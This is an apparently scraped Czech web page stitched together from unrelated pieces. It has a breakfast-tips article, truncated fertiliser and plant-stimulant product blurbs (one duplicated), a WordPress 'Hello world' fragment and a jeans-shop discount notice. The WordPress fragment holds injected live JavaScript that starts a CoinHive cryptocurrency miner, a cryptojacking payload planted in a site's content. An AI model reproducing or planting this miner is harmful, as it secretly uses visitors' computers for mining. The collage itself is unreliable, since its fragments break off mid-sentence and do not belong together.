Proč lidé nesnídají? Samozřejmě, že každý z nás má ráno před odchodem do školy či do zaměstnání jen velmi málo času, ve kterém zejména matky musí kromě svého odchodu zvládnout obstarat i menší děti. Řada z nás není ochotná přivstat si o nějakou tu čtvrt hodinku dříve, jen kvůli tomu, abychom se dobře nasnídali. Ale je to škoda, protože snídaně by měla mít nejdůležitějším jídlem dne, které Vás správně nastartuje k celodenní aktivitě! Další velmi častou „výmluvou“ je, že lidé nemají po ránu hlad a chuť na jídlo. Věřte však tomu, že když svému tělu dopřejete pravidelně každé ráno snídani, velmi brzo si na tento rituál zvykne a odmění se Vám lepším zažíváním a vyšší výkonností! Jak může vypadat rychlá a zároveň kvalitní snídaně? Existuje několik způsobů, jak vyřešit problém s nedostatkem času a zároveň si dopřát plnohodnotné jídlo. Ideální variantou je mít již snídani pro následující den rozmyšlenou a případně její přípravě věnovat několik minut večer. Rádi pečete? Pak není nic snazšího než upéct pro celou rodinu koláč či muffiny z kvalitní celozrnné mouky, s oříšky a sušeným či čerstvým ovocem. Ráno pak jen každý člen rodiny popadne svůj kousek a snídaně je odbyta doslova do pěti minut. Podobně časově nenáročné mohou být všelijaké obilné (zdaleka se nemusí jednat pouze o ovesnou) a rýžové kaše doplněné opět čerstvým ovocem a oříšky. Nezapomínejte na ovoce a zeleninu! Některé druhy ovoce si můžete v klidu večer omýt a naporcovat a uložit do ledničky, kde krásně do rána vydrží a vy už jen sáhnete po krabičce. Totéž platí samozřejmě i u zeleniny. Tato příprava se Vám skvěle vyplatí, i pokud patříte mezi milovníky smoothie. Mixované zeleninové a ovocné nápoje mohou být rovněž zajímavou variantou rychlé snídaně. Nebojte se pečiva! Dáváte-li přednost pečivu, vybírejte pokud možno pečivo celozrnné a nesahejte automaticky po bílých pšeničných rohlících. Pečivo můžete doplnit například čerstvý sýrem, plátkem kvalitní šunky a nějakou zeleninou. I tato snídaně se dá velmi dobře připravit již večer před usnutím. Patříte mezi milovníky vajíček? Pak dvě míchaná vajíčka mohou být velmi kvalitní a rychlou variantou vaší snídaně. Opět nezapomeňte vajíčka doplnit kouskem zeleniny! Článek Správný start do každého dne se nejdříve objevil na Simpli.
Hesi Start Box Classic Hnojivo Hesi Start Box Classic - Hesi Start Box Classic je kompletní sada hnojiv a doplňků pro začínající pěstitele v půdě a půdních substrátech. V sadě naleznete tyto produkty: 1 l Hesi Bloom Complex 1 l Hesi Phosporus plus
Vita Start je tekutý růstový stimulátor pro sazenice, řízky a matečné rostliny. Vita Start má velmi různorodé ůčinky. Zajišťuje mohutnou a silnou soustavu kořenů, výbornou odolnost a zvýšený příjem živin. Vita Start zajišťuje také rychlé buněčné dělení a
Vita Start je tekutý růstový stimulátor pro sazenice, řízky a matečné rostliny. Vita Start má velmi různorodé ůčinky. Zajišťuje mohutnou a silnou soustavu kořenů, výbornou odolnost a zvýšený příjem živin. Vita Start zajišťuje také rychlé buněčné dělení a
Welcome to WordPress. This is your first post. Edit or delete it, then start blogging! The post var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); Hello w
Ve snaze zpříjemnit našim zákaznicím nákup na Dishejeans.cz přinášíme nový slevový systém. Každá zákaznicenakupující na Dishejeans.cz získává automaticky: 3% slevu z každého nákupu nad 1400 Kč 5% slevu z každého nákupu nad 2800 Kč 7% slevu z k
projít na článek